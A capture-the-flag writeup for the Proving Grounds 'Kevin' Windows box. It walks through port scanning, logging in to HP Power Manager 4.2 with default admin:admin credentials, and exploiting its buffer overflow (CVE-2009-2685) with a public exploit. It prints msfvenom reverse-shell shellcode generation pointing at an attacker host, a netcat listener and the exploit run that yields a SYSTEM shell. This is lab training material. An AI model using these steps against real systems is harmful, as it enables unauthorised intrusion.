# Kevin Writeup - Proving Grounds

> Easy Windows box where default admin:admin credentials expose HP Power Manager 4.2, and its pre-auth buffer overflow (CVE-2009-2685) gives a SYSTEM shell directly.

- **URL:** https://hackindex.io/writeups/kevin
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Windows
- **Tags:** default-credentials, buffer-overflow, hp-power-manager, cve-2009-2685
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Kevin runs HP Power Manager 4.2 on port 80, reachable with the public default credentials `admin:admin`. Version 4.2 Build 7 has a pre-auth stack buffer overflow (CVE-2009-2685) that lands a shell directly as SYSTEM, no privilege escalation step needed.

## Reconnaissance

### Nmap

Scan all ports, then fingerprint the open ones.

```bash
nmap -p- $TARGET_IP
nmap -A -sV -p 80,135,139,445,3389,3573 $TARGET_IP
# PORT     STATE SERVICE      VERSION
# 80/tcp   open  http         GoAhead WebServer
# |_http-title: HP Power Manager
# 135/tcp  open  msrpc        Microsoft Windows RPC
# 139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
# 445/tcp  open  microsoft-ds Windows 7 Ultimate N 7600 (workgroup: WORKGROUP)
# 3389/tcp open  tcpwrapped
# 3573/tcp open  tag-ups-1?
# Service Info: Host: KEVIN; OS: Windows
```

Port 80 serves HP Power Manager on a GoAhead WebServer, on a Windows 7 Ultimate host. Log in and check the version.

## Enumeration

### HP Power Manager login

The application accepts the publicly documented default credentials.

Logging in with `admin:admin` and checking the Help page shows **HP Power Manager 4.2 (Build 7)**, a version with a known pre-auth remote buffer overflow.

## Exploitation

### Universal buffer overflow (CVE-2009-2685)

A public Python exploit (Exploit-DB 10099) targets the `formLogin` handler. Confirm it is listed, then build matching shellcode.

```bash
searchsploit -t "HP Power Manager"
# HP Power Manager - 'formExportDataLogs' Remote Buffer Overflow (Metasploit) | exploits/cgi/remote/18015.rb
# Hewlett-Packard (HP) Power Manager Administration - Remote Buffer Overflow       | exploits/windows/remote/16785.rb
# Hewlett-Packard (HP) Power Manager Administration Power Manager - Buffer Overflow | exploits/windows/remote/10099.py
```

Generate alphanumeric shellcode that avoids the exploit's bad characters and the `n00bn00b` egg the public exploit searches for.

```bash
msfvenom -p windows/shell_reverse_tcp -f c --platform windows -a x86 -e x86/alpha_mixed -b "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a" LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT
# Found 1 compatible encoder
# x86/alpha_mixed succeeded with final size 710
# Payload size: 710 bytes
```

Drop the generated shellcode into the public exploit's `SHELL` buffer alongside the `n00bn00b` egg, a `JMP ESP` return address in `MSVCP60.dll`, and a NOP sled, then send the crafted `formLogin` POST request.

```bash
nc -lvnp $ATTACKER_PORT
python exploit.py $TARGET_IP
# [+] Sending evil buffer...
# HTTP/1.0 200 OK
# [+] Done!
```

The listener catches a shell directly as `NT AUTHORITY\SYSTEM`, since the HP Power Manager service itself runs with SYSTEM privileges.

```powershell
whoami
# nt authority\system
```

Related

## References

- [Exploit-DB 10099](https://www.exploit-db.com/exploits/10099) - HP Power Manager Administration universal buffer overflow exploit.
- [CVE-2009-2685](https://nvd.nist.gov/vuln/detail/CVE-2009-2685) - HP Power Manager Administration remote buffer overflow.